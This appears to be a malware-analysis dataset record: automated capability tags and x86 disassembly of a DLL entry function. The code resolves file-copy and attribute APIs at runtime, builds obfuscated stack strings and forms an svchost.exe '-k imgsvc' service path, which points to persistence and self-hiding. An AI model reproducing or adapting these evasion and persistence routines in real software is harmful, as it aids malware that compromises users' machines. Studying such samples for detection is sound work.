Function at 0x1000f620
Capabilities:
Check for time delay via gettickcount
Contain obfuscated stackstrings
Link many functions at runtime

Disassembly:
mov eax, dword [esp + 8]
sub esp, 0x130
cmp eax, 1
push ebx
push ebp
jne 0x1000f94d
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
push str.SetFileAttributesA
push str.kernel32.dll
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push str.CopyFileA
push str.kernel32.dll
mov dword [esp + 0x40], eax
call esi
push eax
call edi
push str.ExpandEnvironmentStringsA
push str.kernel32.dll
mov dword [esp + 0x38], eax
call esi
push eax
call edi
push str.GetModuleFileNameA
push str.kernel32.dll
mov ebx, eax
call esi
push eax
call edi
mov cl, 0x6c
mov ebp, eax
mov al, 0x65
mov byte [esp + 0x15], cl
mov byte [esp + 0x1a], cl
mov byte [esp + 0x1b], cl
mov cl, 0x74
mov byte [esp + 0x11], al
mov byte [esp + 0x14], al
mov byte [esp + 0x22], al
mov byte [esp + 0x25], al
mov byte [esp + 0x28], al
mov byte [esp + 0x24], cl
mov byte [esp + 0x2a], cl
lea eax, [esp + 0x20]
lea ecx, [esp + 0x10]
mov dl, 0x6e
push eax
push ecx
mov byte [esp + 0x18], 0x6b
mov byte [esp + 0x1a], 0x72
mov byte [esp + 0x1b], dl
mov byte [esp + 0x1e], 0x33
mov byte [esp + 0x1f], 0x32
mov byte [esp + 0x20], 0x2e
mov byte [esp + 0x21], 0x64
mov byte [esp + 0x24], 0
mov byte [esp + 0x28], 0x43
mov byte [esp + 0x29], 0x72
mov byte [esp + 0x2b], 0x61
mov byte [esp + 0x2e], 0x45
mov byte [esp + 0x2f], 0x76
mov byte [esp + 0x31], dl
mov byte [esp + 0x33], 0x41
mov byte [esp + 0x34], 0
call esi
push eax
call edi
push 0x37a
push str.Qwk_gf_Lgthrfthf
mov dword [esp + 0x3c], eax
call fcn.1000f260
mov esi, dword [sym.imp.MSVCRT.dll_putchar]
push 0x30
call esi
mov edx, dword [esp + 0x150]
add esp, 0xc
push 0x104
push 0x1001d530
push edx
call ebp
push 0x30
call esi
add esp, 4
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x3d]
mov byte [esp + 0x3c], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x3c]
push 0x104
push eax
push str._RqmbzdlDjn_p__DeooTSgqbuznll_jlr
call ebx
lea edi, [esp + 0x3c]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov edx, ecx
mov esi, edi
mov edi, str._RqmbzdlDjn_p__DeooTSgqbuznll_jlr
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str.chost.exe__k_imgsvc
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov edi, str._SystemRoot_System32_sv
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea eax, [edx + ecx + 1]
push eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov ebp, eax
mov edi, str._SystemRoot_System32_sv
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov edx, ecx
mov esi, edi
mov edi, ebp
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str.chost.exe__k_imgsvc
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edx, ecx
mov edi, ebp
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str.le__Wait
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov edi, str.Glab
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea eax, [edx + ecx + 1]
push eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov ebx, eax
mov edi, str.Glab
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push str._RqmbzdlDjn_p__DeooTSgqbuznll_jlr
mov edx, ecx
mov esi, edi
mov edi, ebx
push 0x1001d530
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str.le__Wait
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edx, ecx
mov edi, ebx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.MSVCRT.dll__stricmp]
add esp, 0x10
test eax, eax
pop edi
pop esi
jne 0x1000f8c6
mov eax, dword [esp + 0x13c]
mov dword [0x1001d324], eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [0x1001d314], eax
call fcn.10007e70
pop ebp
mov eax, 1
pop ebx
add esp, 0x130
ret 0xc
push ebx
push 0
push 0
push 0
call dword [esp + 0x3c]
push eax
call dword [sym.imp.KERNEL32.dll_SetEvent]
call fcn.10006e20
push str._RqmbzdlDjn_p__DeooTSgqbuznll_jlr
call fcn.1000e280
add esp, 4
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call dword [sym.imp.MSVCRT.dll_srand]
add esp, 4
push str._RqmbzdlDjn_p__DeooTSgqbuznll_jlr
call dword [0x1001d514]
push ebp
call fcn.1000e330
add esp, 4
call fcn.1000e670
call fcn.1000e8c0
push 0x1000
push str._RqmbzdlDjn_p__DeooTSgqbuznll_jlr
call dword [esp + 0x38]
push 0
push str._RqmbzdlDjn_p__DeooTSgqbuznll_jlr
push 0x1001d530
call dword [esp + 0x34]
push str._RqmbzdlDjn_p__DeooTSgqbuznll_jlr
call fcn.1000eef0
add esp, 4
call fcn.1000e480
call fcn.1000e3c0
pop ebp
mov eax, 1
pop ebx
add esp, 0x130
ret 0xc